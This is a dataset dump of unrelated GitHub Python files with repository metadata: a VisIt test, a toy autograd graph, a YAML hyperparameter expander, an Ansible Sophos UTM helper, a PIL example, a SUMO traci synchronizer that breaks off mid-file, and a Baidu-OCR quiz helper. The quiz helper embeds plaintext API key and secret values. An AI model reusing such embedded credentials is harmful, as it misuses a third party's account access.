hexsha
stringlengths 40
40
| size
int64 6
782k
| ext
stringclasses 7
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
72
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
list | max_stars_count
int64 1
53k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
184
| max_issues_repo_name
stringlengths 6
72
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
list | max_issues_count
int64 1
27.1k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
184
| max_forks_repo_name
stringlengths 6
72
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
list | max_forks_count
int64 1
12.2k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
782k
| avg_line_length
float64 2.75
664k
| max_line_length
int64 5
782k
| alphanum_fraction
float64 0
1
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e8db7b8afe28efde2a5b3d53186f27fb42108a8d
| 1,912 |
py
|
Python
|
src/test/tests/hybrid/missingdata.py
|
visit-dav/vis
|
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
|
[
"BSD-3-Clause"
] | 226 |
2018-12-29T01:13:49.000Z
|
2022-03-30T19:16:31.000Z
|
src/test/tests/hybrid/missingdata.py
|
visit-dav/vis
|
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
|
[
"BSD-3-Clause"
] | 5,100 |
2019-01-14T18:19:25.000Z
|
2022-03-31T23:08:36.000Z
|
src/test/tests/hybrid/missingdata.py
|
visit-dav/vis
|
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
|
[
"BSD-3-Clause"
] | 84 |
2019-01-24T17:41:50.000Z
|
2022-03-10T10:01:46.000Z
|
# ----------------------------------------------------------------------------
# CLASSES: nightly
#
# Test Case: missingdata.py
#
# Tests: missing data
#
# Programmer: Brad Whitlock
# Date: Thu Jan 19 09:49:15 PST 2012
#
# Modifications:
#
# ----------------------------------------------------------------------------
def SetTheView():
v = GetView2D()
v.viewportCoords = (0.02, 0.98, 0.25, 1)
SetView2D(v)
def test0(datapath):
TestSection("Missing data")
OpenDatabase(pjoin(datapath,"earth.nc"))
AddPlot("Pseudocolor", "height")
DrawPlots()
SetTheView()
Test("missingdata_0_00")
ChangeActivePlotsVar("carbon_particulates")
Test("missingdata_0_01")
ChangeActivePlotsVar("seatemp")
Test("missingdata_0_02")
ChangeActivePlotsVar("population")
Test("missingdata_0_03")
# Pick on higher zone numbers to make sure pick works.
PickByNode(domain=0, element=833621)
TestText("missingdata_0_04", GetPickOutput())
DeleteAllPlots()
def test1(datapath):
TestSection("Expressions and missing data")
OpenDatabase(pjoin(datapath,"earth.nc"))
DefineScalarExpression("meaningless", "carbon_particulates + seatemp")
AddPlot("Pseudocolor", "meaningless")
DrawPlots()
SetTheView()
Test("missingdata_1_00")
DeleteAllPlots()
DefineVectorExpression("color", "color(red,green,blue)")
AddPlot("Truecolor", "color")
DrawPlots()
ResetView()
SetTheView()
Test("missingdata_1_01")
DefineVectorExpression("color2", "color(population*0.364,green,blue)")
ChangeActivePlotsVar("color2")
v1 = GetView2D()
v1.viewportCoords = (0.02, 0.98, 0.02, 0.98)
v1.windowCoords = (259.439, 513.299, 288.93, 540) #25.466)
SetView2D(v1)
Test("missingdata_1_02")
def main():
datapath = data_path("netcdf_test_data")
test0(datapath)
test1(datapath)
main()
Exit()
| 26.555556 | 78 | 0.619247 |
33269c8198e5473d3ddda4bf83fff9637afee268
| 1,793 |
py
|
Python
|
src/graph2.py
|
gpu0/nnGraph
|
ae68af41804ce95dd4dbd6deeea57e377915acc9
|
[
"MIT"
] | null | null | null |
src/graph2.py
|
gpu0/nnGraph
|
ae68af41804ce95dd4dbd6deeea57e377915acc9
|
[
"MIT"
] | null | null | null |
src/graph2.py
|
gpu0/nnGraph
|
ae68af41804ce95dd4dbd6deeea57e377915acc9
|
[
"MIT"
] | null | null | null |
# t = 2 * (x*y + max(z,w))
class Num:
def __init__(self, val):
self.val = val
def forward(self):
return self.val
def backward(self, val):
print val
class Mul:
def __init__(self, left, right):
self.left = left
self.right = right
def forward(self):
self.left_fw = self.left.forward()
self.right_fw = self.right.forward()
return self.left_fw * self.right_fw
def backward(self, val):
self.left.backward(val * self.right_fw)
self.right.backward(val * self.left_fw)
class Factor:
def __init__(self, center, factor):
self.center = center
self.factor = factor
def forward(self):
return self.factor * self.center.forward()
def backward(self, val):
self.center.backward(val * self.factor)
class Add:
def __init__(self, left, right):
self.left = left
self.right = right
def forward(self):
return self.left.forward() + self.right.forward()
def backward(self, val):
self.left.backward(val)
self.right.backward(val)
class Max:
def __init__(self, left, right):
self.left = left
self.right = right
def forward(self):
self.left_fw = self.left.forward()
self.right_fw = self.right.forward()
self.out = 0
if self.left_fw > self.right_fw:
self.out = 1
return self.left_fw
return self.right_fw
def backward(self, val):
self.left.backward(val * self.out)
self.right.backward(val * (1 - self.out))
if __name__ == '__main__':
x = Num(3)
y = Num(-4)
z = Num(2)
w = Num(-1)
p = Mul(x, y)
q = Max(z, w)
r = Add(p, q)
t = Factor(r, 2)
print t.forward()
t.backward(1)
| 25.985507 | 57 | 0.572783 |
0421fc55c0cd9357dc4b4cf552bac0572d28cf55
| 1,609 |
py
|
Python
|
KnowledgeQuizTool/SummitMeeting/TitleBaidu.py
|
JianmingXia/StudyTest
|
66d688ad41bbce619f44359ea126ff07a923f97b
|
[
"MIT"
] | null | null | null |
KnowledgeQuizTool/SummitMeeting/TitleBaidu.py
|
JianmingXia/StudyTest
|
66d688ad41bbce619f44359ea126ff07a923f97b
|
[
"MIT"
] | 68 |
2020-09-05T04:22:49.000Z
|
2022-03-25T18:47:08.000Z
|
KnowledgeQuizTool/SummitMeeting/TitleBaidu.py
|
JianmingXia/StudyTest
|
66d688ad41bbce619f44359ea126ff07a923f97b
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# @Author : Skye
# @Time : 2018/1/8 20:38
# @desc : python 3 , 答题闯关辅助,截屏 ,OCR 识别,百度搜索
import io
import urllib.parse
import webbrowser
import requests
import base64
import matplotlib.pyplot as plt
import numpy as np
from PIL import Image
import os
def pull_screenshot():
os.system('adb shell screencap -p /sdcard/screenshot.png')
os.system('adb pull /sdcard/screenshot.png .')
pull_screenshot()
img = Image.open("./screenshot.png")
# 用 matplot 查看测试分辨率,切割
region = img.crop((50, 350, 1000, 560)) # 坚果 pro1
region.save('./crop.png')
#region = img.crop((75, 315, 1167, 789)) # iPhone 7P
#im = plt.imshow(img, animated=True)
#im2 = plt.imshow(region, animated=True)
#plt.show()
# 百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
api_key = 'oZokCbcX3unqb4CpGvD873Co'
api_secret = '2bNzvBQ4l4HkXAGFc3azMeinQ02ntdf2'
# 获取token
host = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id='+api_key+'&client_secret='+api_secret
headers = {
'Content-Type':'application/json;charset=UTF-8'
}
res = requests.get(url=host,headers=headers).json()
token = res['access_token']
imgByteArr = io.BytesIO()
region.save(imgByteArr, format='PNG')
image_data = imgByteArr.getvalue()
base64_data = base64.b64encode(image_data)
r = requests.post('https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic',
params={'access_token': token}, data={'image': base64_data})
result = ''
for i in r.json()['words_result']:
result += i['words']
result = urllib.parse.quote(result)
webbrowser.open('https://baidu.com/s?wd='+result)
| 26.377049 | 128 | 0.709758 |
acfbf91315ae8fa759e47178ec90f3b7a692cd5c
| 7,881 |
py
|
Python
|
warp/utils/config_parsing.py
|
j-helland/warp
|
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
|
[
"Unlicense"
] | null | null | null |
warp/utils/config_parsing.py
|
j-helland/warp
|
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
|
[
"Unlicense"
] | null | null | null |
warp/utils/config_parsing.py
|
j-helland/warp
|
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
|
[
"Unlicense"
] | null | null | null |
# std
import datetime
from copy import deepcopy
from collections import deque
import yaml
# from .lazy_loader import LazyLoader as LL
# yaml = LL('yaml', globals(), 'yaml')
# json = LL('json', globals(), 'json')
# types
from typing import Dict, Any, Union, Tuple
__all__ = [
'load_config_file',
'save_config']
BASIC_TYPES: Tuple[type, ...] = (
type(None),
bool,
int,
float,
str,
datetime.datetime,
bytes,
complex)
ITERABLE_TYPES: Tuple[type, ...] = (
list,
tuple,
set,
dict)
class HyperParameter:
verbose = False
@classmethod
def set_verbosity(cls, value):
cls.verbose = value
def __init__(self, values=None, spec_type=None, spec=None):
# Default version is to provide a list of actual values
if values and type(values) is not list:
raise TypeError(f'hyperparameter values must be a list not {type(values)}')
if values:
if not isinstance(values[0],dict) and not isinstance(values[0],list):
values = sorted(set(values))
if self.verbose: print('Found literal (unique) hparam values: ',values)
elif len(values)==1 and isinstance(values[0],dict):
raise TypeError(f'known bug/unsupported, hparam len(values)==1 but elm is a dict')
else:
# values = sorted(values)
if self.verbose: print('Found literal hparam values: ',values)
# Can support other value shorthands/generators
if values is None:
# A simple count or range(n) type
if spec_type == 'int':
values = [i for i in range(spec)]
else:
raise TypeError(f'no generator for hyperparameter spec.type: {spec_type}')
# Could add another range type with low, high, stepsize... etc
if self.verbose: print('Found constructable hparam values: ',values)
self.values = values
def set_value(dictionary, keychain, value):
if len(keychain) == 1:
dictionary[keychain[0]] = value
return
set_value(dictionary[keychain[0]],keychain[1:],value)
return dictionary
class BFTreeExpander:
roots = {}
# hparam_keys = set()
# hparam_keychains = set()
hparam_keychains = {}
@classmethod
def reset_roots(cls):
cls.roots = {}
@classmethod
def get_roots(cls):
return [v.root for k,v in cls.roots.items()]
@classmethod
def reset_keys(cls):
# cls.hparam_keys = set()
# cls.hparam_keychains = set()
cls.hparam_keychains = {}
# @classmethod
# def get_hparam_key_list(cls):
# return list(cls.hparam_keys)
@classmethod
def get_hparam_keychains(cls):
return list(cls.hparam_keychains.keys())
# return cls.hparam_keychains
def __init__(self, root):
self.root = root
self.queue = deque()
self.id = id(self)
self.roots[self.id] = self
# recursive traverser
def expand(self, node = None, keychain = []):
if node is None: node = self.root
if isinstance(node, HyperParameter):
# self.hparam_keys.add(keychain[-1])
# self.hparam_keychains.add(".".join(keychain[1:])) # drop root key
self.hparam_keychains[".".join(keychain[1:])] = None
if len(node.values) == 1:
set_value(self.root,keychain,node.values[0])
return False
else:
for val in node.values:
new_root = set_value(deepcopy(self.root),keychain,val)
new_tree = BFTreeExpander(new_root)
return True # "expansion was performed"
if isinstance(node, dict):
for key,val in node.items():
if val is not None:
new_keychain = keychain.copy()
new_keychain.append(key)
self.queue.append((val, new_keychain))
while len(self.queue) > 0:
next_node, next_keychain = self.queue.popleft()
expanded = self.expand(next_node, next_keychain)
if expanded:
# since we had to expand this tree further,
# we can now remove it from the working set
# pop w/ default None, instead of del, as this can get called repeatedly on way up
self.roots.pop(self.id, None)
return True # bubble up
return False # no expansion performed
def expand_config(orig_config):
old_roots = [{'root': orig_config}]
while True:
old_ct = len(old_roots)
new_roots = []
for input_root in old_roots:
BFTreeExpander.reset_roots()
bfte = BFTreeExpander(input_root)
bfte.expand()
new_roots.extend(bfte.get_roots())
if old_ct == len(new_roots):
break
old_roots = new_roots.copy()
roots, keychains = [tree['root'] for tree in new_roots], BFTreeExpander.get_hparam_keychains()
BFTreeExpander.reset_roots()
BFTreeExpander.reset_keys()
return roots, keychains
############ PyYAML Custom obj constructors/representers ###############
def hparam_constructor(loader, node):
fields = loader.construct_mapping(node, deep=True)
hparam = HyperParameter(**fields)
yield hparam
def tuple_to_list_constructor(loader, node):
return list(loader.construct_sequence(node, deep=True))
def hparam_representer(dumper, node):
return dumper.represent_mapping(u'!HYPERPARAMETER', [("values",node.values)], flow_style=False )
# def load_config_file(path: str) -> Dict[str, Any]:
def load_config_file(path: str) -> Tuple[list, list]:
"""Load a YAML file into a dict.
Extensions accepted are `{.yml, .yaml}`.
Arguments:
path: The relative path to the YAML file to load.
Returns:
A dict version of the YAML file.
"""
yaml.add_constructor('!HYPERPARAMETER', hparam_constructor, yaml.FullLoader)
yaml.add_representer(HyperParameter, hparam_representer)
# HyperParameter.set_verbosity(args.verbose)
file_ext = path.split('.')[-1]
if file_ext in {'yml', 'yaml'}:
with open(path, 'rb') as file:
config = yaml.load(file, Loader=yaml.FullLoader)
else:
raise NotImplementedError('unrecognized file extension .{:s} for file {:s}'.format(file_ext, path))
# expanded_set, keychains = expand_config(config)
return expand_config(config)
# return config
def typecheck_config(config: Dict[str, Any]) -> None:
invalid_types = set()
def recursive_typecheck(struct: Union[Dict[str, Any], Any]) -> bool:
# Recurse through iterables
if isinstance(struct, ITERABLE_TYPES):
if isinstance(struct, dict):
return all(map(recursive_typecheck, struct.values()))
return all(map(recursive_typecheck, struct))
# Check against allowed types. Aggregate any found violations.
else:
if not isinstance(struct, BASIC_TYPES):
invalid_types.add(type(struct))
return False
return True
if not recursive_typecheck(config):
raise TypeError(f'config {config} contains invalid type(s) {invalid_types}')
def save_config(path: str, config: Dict[str, Any]) -> None:
try:
typecheck_config(config)
except TypeError as e:
raise RuntimeError( [e, RuntimeError('Cannot cache runtime parameter values due to invalid type(s).')] )
# cache
with open(path, 'w') as file:
yaml.dump(config, file, default_flow_style=False)
| 31.398406 | 112 | 0.597005 |
a87dc28a95aae4aa7718fabb0f98ba00c0f8f068
| 773 |
py
|
Python
|
word2vec_model/BagCentroids.py
|
wingedRuslan/Sentiment-Analysis
|
6dbc90175a2b42e33e0779f4a09b04ea99689534
|
[
"MIT"
] | null | null | null |
word2vec_model/BagCentroids.py
|
wingedRuslan/Sentiment-Analysis
|
6dbc90175a2b42e33e0779f4a09b04ea99689534
|
[
"MIT"
] | null | null | null |
word2vec_model/BagCentroids.py
|
wingedRuslan/Sentiment-Analysis
|
6dbc90175a2b42e33e0779f4a09b04ea99689534
|
[
"MIT"
] | null | null | null |
def create_bag_of_centroids(wordlist, word_centroid_map):
"""
a function to create bags of centroids
"""
# The number of clusters is equal to the highest cluster index in the word / centroid map
num_centroids = max( word_centroid_map.values() ) + 1
# Pre-allocate the bag of centroids vector (for speed)
bag_of_centroids = np.zeros(num_centroids, dtype="float32")
# Loop over the words in the tweet. If the word is in the vocabulary,
# find which cluster it belongs to, and increment that cluster count by one
for word in wordlist:
if word in word_centroid_map:
index = word_centroid_map[word]
bag_of_centroids[index] += 1
# Return numpy array
return bag_of_centroids
| 35.136364 | 93 | 0.676585 |
4ff048f6366944e28bb0e1aee471e8cd65282915
| 1,122 |
py
|
Python
|
数据结构/NowCode/37_Print.py
|
Blankwhiter/LearningNotes
|
83e570bf386a8e2b5aa699c3d38b83e5dcdd9cb0
|
[
"MIT"
] | null | null | null |
数据结构/NowCode/37_Print.py
|
Blankwhiter/LearningNotes
|
83e570bf386a8e2b5aa699c3d38b83e5dcdd9cb0
|
[
"MIT"
] | 3 |
2020-08-14T07:50:27.000Z
|
2020-08-14T08:51:06.000Z
|
数据结构/NowCode/37_Print.py
|
Blankwhiter/LearningNotes
|
83e570bf386a8e2b5aa699c3d38b83e5dcdd9cb0
|
[
"MIT"
] | 2 |
2021-03-14T05:58:45.000Z
|
2021-08-29T17:25:52.000Z
|
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
# 返回二维列表[[1,2],[4,5]]
def Print(self, pRoot):
if pRoot == None:
return []
queue1 = [pRoot]
queue2 = []
ret = []
while queue1 or queue2:
if queue1:
tmpRet = []
while queue1:
tmpNode = queue1.pop(0)
tmpRet.append(tmpNode.val)
if tmpNode.left:
queue2.append(tmpNode.left)
if tmpNode.right:
queue2.append(tmpNode.right)
ret.append(tmpRet)
if queue2:
tmpRet = []
while queue2:
tmpNode = queue2.pop(0)
tmpRet.append(tmpNode.val)
if tmpNode.left:
queue1.append(tmpNode.left)
if tmpNode.right:
queue1.append(tmpNode.right)
ret.append(tmpRet)
return ret
| 29.526316 | 52 | 0.421569 |
ba193713f4e6daa42b6733b362bbc46c29b53357
| 10,391 |
py
|
Python
|
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/module_utils/utm_utils.py
|
tr3ck3r/linklight
|
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
|
[
"MIT"
] | null | null | null |
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/module_utils/utm_utils.py
|
tr3ck3r/linklight
|
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
|
[
"MIT"
] | null | null | null |
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/module_utils/utm_utils.py
|
tr3ck3r/linklight
|
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
|
[
"MIT"
] | null | null | null |
# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright: (c) 2018, Johannes Brunswicker <[email protected]>
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import json
from ansible.module_utils._text import to_native
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.urls import fetch_url
class UTMModuleConfigurationError(Exception):
def __init__(self, msg, **args):
super(UTMModuleConfigurationError, self).__init__(self, msg)
self.msg = msg
self.module_fail_args = args
def do_fail(self, module):
module.fail_json(msg=self.msg, other=self.module_fail_args)
class UTMModule(AnsibleModule):
"""
This is a helper class to construct any UTM Module. This will automatically add the utm host, port, token,
protocol, validate_certs and state field to the module. If you want to implement your own sophos utm module
just initialize this UTMModule class and define the Payload fields that are needed for your module.
See the other modules like utm_aaa_group for example.
"""
def __init__(self, argument_spec, bypass_checks=False, no_log=False,
mutually_exclusive=None, required_together=None, required_one_of=None, add_file_common_args=False,
supports_check_mode=False, required_if=None):
default_specs = dict(
headers=dict(type='dict', required=False, default={}),
utm_host=dict(type='str', required=True),
utm_port=dict(type='int', default=4444),
utm_token=dict(type='str', required=True, no_log=True),
utm_protocol=dict(type='str', required=False, default="https", choices=["https", "http"]),
validate_certs=dict(type='bool', required=False, default=True),
state=dict(default='present', choices=['present', 'absent'])
)
super(UTMModule, self).__init__(self._merge_specs(default_specs, argument_spec), bypass_checks, no_log,
mutually_exclusive, required_together, required_one_of,
add_file_common_args, supports_check_mode, required_if)
def _merge_specs(self, default_specs, custom_specs):
result = default_specs.copy()
result.update(custom_specs)
return result
class UTM:
def __init__(self, module, endpoint, change_relevant_keys, info_only=False):
"""
Initialize UTM Class
:param module: The Ansible module
:param endpoint: The corresponding endpoint to the module
:param change_relevant_keys: The keys of the object to check for changes
:param info_only: When implementing an info module, set this to true. Will allow access to the info method only
"""
self.info_only = info_only
self.module = module
self.request_url = module.params.get('utm_protocol') + "://" + module.params.get('utm_host') + ":" + to_native(
module.params.get('utm_port')) + "/api/objects/" + endpoint + "/"
"""
The change_relevant_keys will be checked for changes to determine whether the object needs to be updated
"""
self.change_relevant_keys = change_relevant_keys
self.module.params['url_username'] = 'token'
self.module.params['url_password'] = module.params.get('utm_token')
if all(elem in self.change_relevant_keys for elem in module.params.keys()):
raise UTMModuleConfigurationError(
"The keys " + to_native(
self.change_relevant_keys) + " to check are not in the modules keys:\n" + to_native(
module.params.keys()))
def execute(self):
try:
if not self.info_only:
if self.module.params.get('state') == 'present':
self._add()
elif self.module.params.get('state') == 'absent':
self._remove()
else:
self._info()
except Exception as e:
self.module.fail_json(msg=to_native(e))
def _info(self):
"""
returns the info for an object in utm
"""
info, result = self._lookup_entry(self.module, self.request_url)
if info["status"] >= 400:
self.module.fail_json(result=json.loads(info))
else:
if result is None:
self.module.exit_json(changed=False)
else:
self.module.exit_json(result=result, changed=False)
def _add(self):
"""
adds or updates a host object on utm
"""
combined_headers = self._combine_headers()
is_changed = False
info, result = self._lookup_entry(self.module, self.request_url)
if info["status"] >= 400:
self.module.fail_json(result=json.loads(info))
else:
data_as_json_string = self.module.jsonify(self.module.params)
if result is None:
response, info = fetch_url(self.module, self.request_url, method="POST",
headers=combined_headers,
data=data_as_json_string)
if info["status"] >= 400:
self.module.fail_json(msg=json.loads(info["body"]))
is_changed = True
result = self._clean_result(json.loads(response.read()))
else:
if self._is_object_changed(self.change_relevant_keys, self.module, result):
response, info = fetch_url(self.module, self.request_url + result['_ref'], method="PUT",
headers=combined_headers,
data=data_as_json_string)
if info['status'] >= 400:
self.module.fail_json(msg=json.loads(info["body"]))
is_changed = True
result = self._clean_result(json.loads(response.read()))
self.module.exit_json(result=result, changed=is_changed)
def _combine_headers(self):
"""
This will combine a header default with headers that come from the module declaration
:return: A combined headers dict
"""
default_headers = {"Accept": "application/json", "Content-type": "application/json"}
if self.module.params.get('headers') is not None:
result = default_headers.copy()
result.update(self.module.params.get('headers'))
else:
result = default_headers
return result
def _remove(self):
"""
removes an object from utm
"""
is_changed = False
info, result = self._lookup_entry(self.module, self.request_url)
if result is not None:
response, info = fetch_url(self.module, self.request_url + result['_ref'], method="DELETE",
headers={"Accept": "application/json", "X-Restd-Err-Ack": "all"},
data=self.module.jsonify(self.module.params))
if info["status"] >= 400:
self.module.fail_json(msg=json.loads(info["body"]))
else:
is_changed = True
self.module.exit_json(changed=is_changed)
def _lookup_entry(self, module, request_url):
"""
Lookup for existing entry
:param module:
:param request_url:
:return:
"""
response, info = fetch_url(module, request_url, method="GET", headers={"Accept": "application/json"})
result = None
if response is not None:
results = json.loads(response.read())
result = next(iter(filter(lambda d: d['name'] == module.params.get('name'), results)), None)
return info, result
def _clean_result(self, result):
"""
Will clean the result from irrelevant fields
:param result: The result from the query
:return: The modified result
"""
del result['utm_host']
del result['utm_port']
del result['utm_token']
del result['utm_protocol']
del result['validate_certs']
del result['url_username']
del result['url_password']
del result['state']
return result
def _is_object_changed(self, keys, module, result):
"""
Check if my object is changed
:param keys: The keys that will determine if an object is changed
:param module: The module
:param result: The result from the query
:return:
"""
for key in keys:
if module.params.get(key) != result[key]:
return True
return False
| 44.217021 | 119 | 0.626311 |
fa35fd9c4c3f40af307596284bdf4287e3dd908d
| 638 |
py
|
Python
|
Python/Buch_ATBS/Teil_2/Kapitel_17_Bildbearbeitung/04_texte_schreiben/04_texte_schreiben.py
|
Apop85/Scripts
|
e71e1c18539e67543e3509c424c7f2d6528da654
|
[
"MIT"
] | null | null | null |
Python/Buch_ATBS/Teil_2/Kapitel_17_Bildbearbeitung/04_texte_schreiben/04_texte_schreiben.py
|
Apop85/Scripts
|
e71e1c18539e67543e3509c424c7f2d6528da654
|
[
"MIT"
] | 6 |
2020-12-24T15:15:09.000Z
|
2022-01-13T01:58:35.000Z
|
Python/Buch_ATBS/Teil_2/Kapitel_17_Bildbearbeitung/04_texte_schreiben/04_texte_schreiben.py
|
Apop85/Scripts
|
1d8dad316c55e1f1343526eac9e4b3d0909e4873
|
[
"MIT"
] | null | null | null |
# 04_texte_schreiben.py
# In diesem Beispiel geht es darum Texte in ein Bild zu schreiben mittels ImageFont aus dem Modul PIL
from PIL import Image, ImageFont, ImageDraw
import os
os.chdir(os.path.dirname(__file__))
target_file='.\\text_in_image.png'
if os.path.exists(target_file):
os.remove(target_file)
windows_font_dir='C:\\Windows\\Fonts'
image_object=Image.new('RGBA', (300,300), 'white')
draw=ImageDraw.Draw(image_object)
draw.text((20,150), 'Hello', fill='brown')
arial_font=ImageFont.truetype(windows_font_dir+'\\arial.ttf', 32)
draw.text((80,150), 'World', fill='purple', font=arial_font)
image_object.save(target_file)
| 31.9 | 101 | 0.763323 |
fa5755c213e58345d8c0de7794177a485cfa6195
| 5,322 |
py
|
Python
|
Co-Simulation/Sumo/run_tracis_synchronization.py
|
uruzahe/carla
|
940c2ab23cce1eda1ef66de35f66b42d40865fb1
|
[
"MIT"
] | null | null | null |
Co-Simulation/Sumo/run_tracis_synchronization.py
|
uruzahe/carla
|
940c2ab23cce1eda1ef66de35f66b42d40865fb1
|
[
"MIT"
] | null | null | null |
Co-Simulation/Sumo/run_tracis_synchronization.py
|
uruzahe/carla
|
940c2ab23cce1eda1ef66de35f66b42d40865fb1
|
[
"MIT"
] | null | null | null |
# coding: utf-8
import argparse
import logging
import os
import sys
from util.func import (
data_from_json,
)
if 'SUMO_HOME' in os.environ:
sys.path.append(os.path.join(os.environ['SUMO_HOME'], 'tools'))
import traci
else:
sys.exit("Please declare environment variable 'SUMO_HOME'")
# ----- GLOBAL_VARS -----
CTRL_C_PRESSED_MESSAGE = "ctrl-c is pressed."
# ----- Class -----
class TracisSyncronizer:
def __init__(self, main_sumo_host_port, other_sumo_host_ports, order):
self.main_traci = traci.connect(host=main_sumo_host_port.split(":")[0], port=int(main_sumo_host_port.split(":")[1]))
self.other_tracis = [traci.connect(host=o_host_port.split(":")[0], port=int(o_host_port.split(":")[1])) for o_host_port in other_sumo_host_ports]
# ----- set order -----
self.tracis = [self.main_traci] + self.other_tracis
for tmp_traci in self.tracis:
tmp_traci.setOrder(order)
def start(self):
while self.check_sumo_finish is not False:
self.main_traci.simulationStep()
for o_traci in self.other_tracis:
self.sync_tracis(self.main_traci, o_traci)
o_traci.simulationStep()
def check_sumo_finish(self):
try:
for tmp_traci in self.tracis:
if traci.simulation.getMinExpectedNumber() <= 0:
return True
else:
continue
return False
except Exception as e:
logging.log(e)
return True
def close_tracis(self):
try:
if 0 < len(self.tracis):
self.tracis[0].close()
self.tracis.pop(0)
return self.close_tracis()
return self.tracis
except Exception as e:
logging.error(e)
logging.error(f"{len(self.tracis)} tracis are remained.")
return self.tracis
def simulationStep(self):
for tmp_traci in self.tracis:
tmp_traci.simulationStep()
def sync_tracis(self, m_traci, o_traci):
# ----- add departed vehicle -----
diff_add_vehicle_ids = set(m_traci.vehicle.getIDList()) - set(o_traci.vehicle.getIDList())
for dav_id in diff_add_vehicle_ids:
new_route_id = str(m_traci.vehicle.getIDCount() + 1)
try:
o_traci.route.add(
routeID=new_route_id,
edges=m_traci.vehicle.getRoute(dav_id)
)
o_traci.vehicle.add(
vehID=dav_id,
routeID=new_route_id
)
except Exception as e:
logging.error(e)
continue
# ----- remove vehicles -----
diff_remove_vehicle_ids = set(o_traci.vehicle.getIDList()) - set(m_traci.vehicle.getIDList())
for drv_id in diff_remove_vehicle_ids:
try:
o_traci.vehicle.remove(drv_id)
except Exception as e:
logging.error(e)
continue
# ----- sync vehicle positions -----
for m_veh_id in m_traci.vehicle.getIDList():
try:
o_traci.vehicle.moveToXY(
vehID=m_veh_id,
edgeID=m_traci.lane.getEdgeID(m_traci.vehicle.getLaneID(m_veh_id)),
lane=int(str(m_traci.vehicle.getLaneID(m_veh_id)).split('_')[1]),
x=m_traci.vehicle.getPosition(m_veh_id)[0],
y=m_traci.vehicle.getPosition(m_veh_id)[1],
angle=m_traci.vehicle.getAngle(m_veh_id)
)
except Exception as e:
logging.error(e)
continue
# ----- function -----
def start_tracis_syncronizer(main_sumo_host_port, other_sumo_host_ports, order):
tracis_syncronizer = TracisSyncronizer(main_sumo_host_port, other_sumo_host_ports, order)
try:
tracis_syncronizer.start()
tracis_syncronizer.close_tracis()
except KeyboardInterrupt:
logging.info(CTRL_C_PRESSED_MESSAGE)
tracis_syncronizer.close_tracis()
except Exception as e:
logging.error(e)
tracis_syncronizer.close_tracis()
# ----- main -----
if __name__ == "__main__":
env = data_from_json("./env.json")
# ----- get args -----
parser = argparse.ArgumentParser(description='This script is a middleware for tracis synchronization.')
parser.add_argument('--main_sumo_host_port', default=f"127.0.0.1:{env['carla_sumo_port']}")
parser.add_argument('--other_sumo_host_ports', nargs='*', default=f"{env['vagrant_ip']}:{env['veins_sumo_port']}")
parser.add_argument('--sumo_order', type=int, default=1)
parser.add_argument('--log_file_path', default="./log/tracis_logger.log")
args = parser.parse_args()
# ----- set logging -----
logging.basicConfig(
handlers=[logging.FileHandler(filename=args.log_file_path), logging.StreamHandler(sys.stdout)],
